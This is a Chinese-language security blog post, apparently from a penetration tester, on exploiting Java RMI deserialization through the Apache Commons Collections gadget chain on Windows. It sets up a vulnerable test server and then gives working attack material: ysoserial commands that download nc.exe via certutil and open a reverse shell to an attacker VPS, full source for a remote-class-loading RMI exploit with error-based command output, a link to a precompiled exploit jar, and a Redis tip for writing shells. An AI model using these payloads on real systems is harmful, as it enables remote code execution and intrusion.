Windows中遇到了Java RMI,反弹又不那么方便,这时该如何利用呢? It’s a question。 正好加强Java学习了。
0x00 预备知识理解 Java RMI——Java远程调用提供了不同机器之间进行对象方法访问的能力,这样的构架允许一台机器的对象访问另一台机器的对象方法,而这种远程调用必然需要传递对象数据结构,因此就需要序列化和反序列化,在此过程中,如果服务器上可以被使用的对象存在漏洞,通过客户端构造相应的序列化数据就可以触发漏洞。
Apache Common Collections Java的第三方库,提供更加强大的集合数据结构。它的一段代码中存在调用方法和对象可控的情况,因此可以实现命令执行。在这种情况下,这个第三方包无论用或者没用,都有可能被开发者打包进程序,成为程序中存在的对象,结合RMI机制,攻击者就有可能调用到这些危险的对象。
Java 8版本121更新后对RMI注册类进行了限制,因此需要寻找白名单内的类存在漏洞的情况,参考文献中列出了收集到的解决方法。
0x01 测试环境搭建 避开Java版本的坑之后,测试环境很好完成,写一个RMI服务器,放入Common Collections第三方包,启动服务器即可,详细实现代码如下:
RMIInterface 接口
1 2 3 4 5 6 import java.rmi.Remote;import java.rmi.RemoteException;public interface RMIInterface extends Remote { String sayHello() throws RemoteException; }
RMIServer 服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer implements RMIInterface { public String sayHello() { return "Hello World!" ; } public static void main(String args[]) { try { RMIServer obj = new RMIServer(); RMIInterface stub = (RMIInterface) UnicastRemoteObject.exportObject((Remote) obj, 0 ); LocateRegistry.createRegistry(1099 ); Registry registry = LocateRegistry.getRegistry(); registry.bind("Hello" , stub); System.out.println("Server Start!" ); } catch (Exception e) { e.printStackTrace(); } } }
再将Common Collections放入开发环境的External lib中。这样启动起来的服务器已经可以被用来测试漏洞了。
0x02 Ysoserial工具与测试利用 1 java -cp .\ysoserial .jar ysoserial .exploit .RMIRegistryExploit 127.0 .0 .1 1099 CommonsColections1 "calc "
网上最常见的用法,我们对这条命令逐个分析。
作为一款通用的Java反序列化利用工具,Yso具有广泛的功能,我们这里主要聚焦于它的exploit和payloads两部分。
由上面的分析我们知道,这一类的漏洞需要两部分来完成,协议交互部分完成与服务器的交互,这一部分由exploit来完成,payloads则提供进行反序列化的对象以及相应的攻击功能。
exploit中重点来看RMIRegistryExploit的代码,另外会尝试运行JRMPClient和JRMPListener,先知也有相关模块的分析文章。
RMIRegistryExploit,从名字就可以看出,主要是通过RMI的Registry来进行交互。main函数部分就是一个和RMI服务器进行通信的客户端
其中exploit函数负责生成类的实例,并且嵌入执行命令,再使用动态代理的方式进行传递。
再来看CommonsColections1的部分,核心的部分在getObject中,这里实际上就是走了一遍CommonsCollection RCE的链,将用户的执行命令放入到相应的对象调用中,再经过序列化处理。
##0x03 如何在Windows下实现回显命令执行
DNS查询很容易,但是如何能够更好的执行命令并回显呢?
在当时测试的时候,为了快捷,使用了远程下载nc+执行nc反弹的方式回弹shell。
1 2 3 4 5 java -cp .\ysoserial.jar ysoserial.exploit .RMIRegistryExploit 测试机器IP 1099 CommonsCollections1 "certutil -urlcache -split -f http://VPS IP/nc.exe" java -cp .\ysoserial.jar ysoserial.exploit .RMIRegistryExploit 测试机器IP 1099 CommonsCollections1 "D:\\nc.exe -t -e c:\\windows\\system32\\cmd.exe VPS-IP 65534"
后来查询资料发现了其他能够回显的玩法,基本有以下几种想法,
能否在这里执行java代码,利用java的方式直接反弹shell
利用URLClassLoader,远程加载自定义类,接收到报错返回的执行结果。
具体代码如下(来自先知社区),首先是远程加载的自定义类
ErrorBaseExec.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package exploit;import java.io.*;public class ErrorBaseExec { public static byte [] readBytes (InputStream in) throws IOException { BufferedInputStream bufin = new BufferedInputStream(in); int buffSize = 1024 ; ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize); byte [] temp = new byte [buffSize]; int size = 0 ; while ((size = bufin.read (temp)) != -1 ) { out.write (temp, 0 , size ); } bufin.close(); byte [] content = out.toByteArray(); return content; } public static void do_exec(String cmd) throws Exception { final Process p = Runtime .getRuntime().exec(cmd); final byte [] stderr = readBytes (p.getErrorStream()); final byte [] stdout = readBytes (p.getInputStream()); final int exitValue = p.waitFor(); if (exitValue == 0 ) { throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n" ); } else { throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n" ); } } public static void main(final String[] args) throws Exception { do_exec("whoami" ); } }
RMIexploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.net.URLClassLoader;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Map ;public class RMIexploit { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); return ctor; } public static void main(String [] args) throws Exception { if (args.length < 4 ) { System.out.println( " Usage: java -jar RMIexploit.jar ip port jarfile command" ); System.out.println( " Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"" ); return ; } String ip = args[0 ]; int port = Integer.parseInt(args[1 ]); String remotejar = args[2 ]; String command = args[3 ]; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler" ; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class ), new InvokerTransformer("getConstructor" , new Class[] { Class[].class }, new Object [] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance" , new Class[] { Object [].class }, new Object [] { new Object [] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass" , new Class[] { String .class }, new Object [] { "exploit.ErrorBaseExec" }), new InvokerTransformer("getMethod" , new Class[] { String .class , Class[].class }, new Object [] { "do_exec" , new Class[] { String .class } }), new InvokerTransformer("invoke" , new Class[] { Object .class , Object [].class }, new Object [] { null , new String [] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class , Map .class ); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class , outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class , outerMap); Remote r = Remote.class .cast(Proxy.newProxyInstance( Remote.class .getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("pwned" , r); } catch (Exception e) { try { System.out.print (e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
打包之后执行回显成功回显,我编译的时候还遇到两个问题,一个是需要满足JDK的版本要求,如果服务器JDK版本太低,客户端太高时会报版本不匹配;另一个是命令执行回显过多时会无法返回信息,还需调整。
这里也放上我编译好的远程Jar
http://phantom0301.cc/remote.jar
0xff(彩蛋) Redis Windows下写shell的小tip Redis在进行持久化的时候,默认会进行压缩,由于压缩导致写入的字符串存在乱码,有些乱码会影响文件解析,这时我们可以通过以下命令取消压缩。
1 config set rdbcompression no
参考 Apache Common Collections相关知识详细参照这篇博客:``https://security.tencent.com/index.php/blog/msg/97
绕过升级机制:http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
Github上一个不错的Java漏洞项目:https://github.com/JoyChou93/java-sec-code
命令执行回显:https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
先知社区里的回显代码:https://xz.aliyun.com/t/2223